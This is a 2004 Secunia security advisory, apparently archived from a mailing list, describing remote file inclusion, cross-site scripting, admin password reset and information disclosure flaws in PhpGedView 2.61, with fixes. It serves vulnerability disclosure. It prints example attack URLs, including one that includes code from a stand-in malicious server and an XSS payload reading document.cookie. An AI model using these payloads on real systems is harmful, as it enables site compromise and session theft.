OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
[SA10565] PhpGedView Multiple Vulnerabilities

From: Secunia Security Advisories (sec-advsecunia.com)
Date: Wed Jan 07 2004 - 03:28:56 CST


TITLE:
PhpGedView Multiple Vulnerabilities

SECUNIA ADVISORY ID:
SA10565

VERIFY ADVISORY:
http://www.secunia.com/advisories/10565/

CRITICAL:
Highly critical

IMPACT:
Security Bypass, Cross Site Scripting, Exposure of system
information, System access

WHERE:
From remote

SOFTWARE:
PhpGedView 2.x

DESCRIPTION:
Windak has reported multiple vulnerabilities in PhpGedView, which can
be exploited by malicious people to compromise a vulnerable system or
conduct cross-site scripting attacks.

1) Missing validation of input supplied to the "$PGV_BASE_DIRECTORY"
variable in the "functions.php", "authentication_index.php", and
"config_gedcom.php" scripts can be exploited to include arbitrary
files on remote systems.

Example:
http://[victim]/functions.php?PGV_BASE_DIRECTORY=http://[malicious_server]/

2) Missing validation of input supplied to the "firstname" parameter
in "search.php" can be exploited to execute arbitrary HTML and script
code in a user's browser session in context of an affected site.

Example:
http://[victim]/search.php?action=soundex&firstname="><script>alert(document.cookie)</script>

3) It is reportedly possible to reinstall and change the
administrative password via "editconfig.php", if it hasn't been
deleted after installation.

4) Various system information can be disclosed by supplying the
string "phpinfo" to the "action" parameter in "admin.php".

Example:
http://[victim]/admin.php?action=phpinfo

The vulnerabilities have been reported in version 2.61. Other
versions may also be affected.

SOLUTION:
Edit the source code to ensure that input is properly verified and
remove the "editconfig.php" file.

PROVIDED AND/OR DISCOVERED BY:
Windak, Vietnamese Security Group.

----------------------------------------------------------------------

About:
This Advisory was delivered by Secunia as a free service to help
everybody keeping their systems up to date against the latest
vulnerabilities.

Subscribe:
http://www.secunia.com/secunia_security_advisories/

Definitions: (Criticality, Where etc.)
http://www.secunia.com/about_secunia_advisories/

Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.

----------------------------------------------------------------------

Unsubscribe: Secunia Security Advisories

----------------------------------------------------------------------